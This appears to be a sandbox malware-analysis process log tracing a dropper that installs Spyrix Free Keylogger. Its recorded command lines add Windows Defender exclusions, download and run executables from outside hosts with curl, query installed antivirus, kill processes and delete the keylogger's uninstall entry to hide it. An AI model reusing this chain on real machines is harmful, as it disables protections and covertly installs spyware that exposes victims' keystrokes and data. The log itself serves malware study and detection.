Show Windows behavior

Target ID:	4
Start time:	00:11:08
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:11:20
Start date:	02/10/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl.exe --insecure -o "C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe" https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404
Imagebase:	0x7ff795c80000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:11:21
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe"
Imagebase:	0xb20000
File size:	90'112 bytes
MD5 hash:	D15DAEF371B50FB739401BFDE29DF35A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:11:22
Start date:	02/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:11:24
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878.cmd
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:11:24
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:11:24
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg query "HKU\S-1-5-19\Environment"
Imagebase:	0xa60000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:11:24
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878'"
Imagebase:	0xc50000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:11:26
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk
Imagebase:	0x780000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:11:28
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe
Imagebase:	0x780000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:11:47
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Remove-MpPreference -exclusionPath "C:\Users\user\AppData\Local\Temp\183942631522663"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:11:53
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe"
Imagebase:	0x400000
File size:	33'441'448 bytes
MD5 hash:	0F335D8996D82DA30FE9286C671FA0CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:11:54
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp" /SL5="$30462,32862490,227328,C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe"
Imagebase:	0x400000
File size:	1'286'144 bytes
MD5 hash:	BFA3F09DEEE00832D000F497EC5B570A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:11:58
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\d.cmd
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:11:58
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:11:58
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:11:58
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Imagebase:	0xbf0000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	00:11:59
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\d.cmd
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 3864, Parent PID: 5092

General

Target ID:	28
Start time:	00:11:59
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	00:11:59
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: WMIC.exePID: 7840, Parent PID: 7792

General

Target ID:	30
Start time:	00:11:59
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Imagebase:	0xbf0000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	00:12:01
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex.cmd
Imagebase:	0x7ff6058a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	00:12:01
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	00:12:01
Start date:	02/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex" /y
Imagebase:	0x7ff7f9be0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:12:04
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\pswd.cmd
Imagebase:	0x7ff6058a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	00:12:04
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	00:12:04
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess '[space]= .*'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	00:12:06
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	00:12:08
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	00:12:11
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	00:12:13
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	00:12:15
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	00:12:17
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	00:12:19
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	00:12:21
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	00:12:23
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex.cmd
Imagebase:	0x7ff6058a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6444, Parent PID: 5376

General

Target ID:	46
Start time:	00:12:23
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	00:12:23
Start date:	02/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex" /y
Imagebase:	0x7ff7f9be0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	00:12:27
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe
Imagebase:	0xb80000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	00:12:28
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	00:12:29
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F
Imagebase:	0xb80000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	00:12:29
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	00:12:46
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\regedit.exe
Wow64 process (32bit):	true
Commandline:	"regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1"
Imagebase:	0xc10000
File size:	329'728 bytes
MD5 hash:	BD63D72DB4FA96A1E0250B1D36B7A827
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	00:12:47
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"reg.exe" delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" /f
Imagebase:	0xa60000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	00:12:47
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	00:12:47
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe"
Imagebase:	0x400000
File size:	5'346'216 bytes
MD5 hash:	11ADE4625528B6E7E1601681867E094E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	00:12:48
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs"
Imagebase:	0xf30000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	00:12:48
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c plist.cmd
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	00:12:48
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	60
Start time:	00:12:48
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0xba0000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	00:12:49
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 20
Imagebase:	0x310000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	00:12:51
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" "
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	00:12:51
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	00:12:51
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 6
Imagebase:	0x310000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	00:12:52
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c netstat.exe -e > "C:\Users\user\AppData\Local\Temp\nse"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	00:12:52
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	00:12:52
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\NETSTAT.EXE
Wow64 process (32bit):	true
Commandline:	netstat.exe -e
Imagebase:	0xbe0000
File size:	32'768 bytes
MD5 hash:	9DB170ED520A6DD57B5AC92EC537368A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	00:12:58
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
